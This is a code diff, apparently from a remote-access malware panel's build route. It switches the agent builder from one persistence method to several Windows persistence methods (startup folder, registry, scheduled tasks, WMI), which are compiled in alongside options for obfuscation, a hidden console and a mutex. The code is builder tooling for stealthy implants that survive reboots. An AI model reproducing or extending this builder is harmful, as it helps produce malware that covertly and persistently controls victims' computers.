if (methods.includes("startup")) buildTags.push("persist_startup");
|
||||
if (methods.includes("registry")) buildTags.push("persist_registry");
|
||||
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
|
||||
if (methods.includes("wmi")) buildTags.push("persist_wmi");
|
||||
}
|
||||
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||
|
||||
@@ -47,7 +47,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
persistenceMethods,
|
||||
startupName,
|
||||
mutex,
|
||||
disableMutex,
|
||||
@@ -132,10 +132,13 @@ export async function handleBuildRoutes(
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
const safePersistenceMethod =
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
const safePersistenceMethods: string[] =
|
||||
Array.isArray(persistenceMethods)
|
||||
? persistenceMethods
|
||||
.filter((m: unknown) => typeof m === 'string' && VALID_PERSISTENCE_METHODS.has((m as string).toLowerCase()))
|
||||
.map((m: string) => m.toLowerCase())
|
||||
: ['startup'];
|
||||
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
|
||||
const safeStartupName =
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
||||
? startupName.trim()
|
||||
@@ -221,7 +224,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
startupName: safeStartupName,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
|
||||
Reference in New Issue
Block a user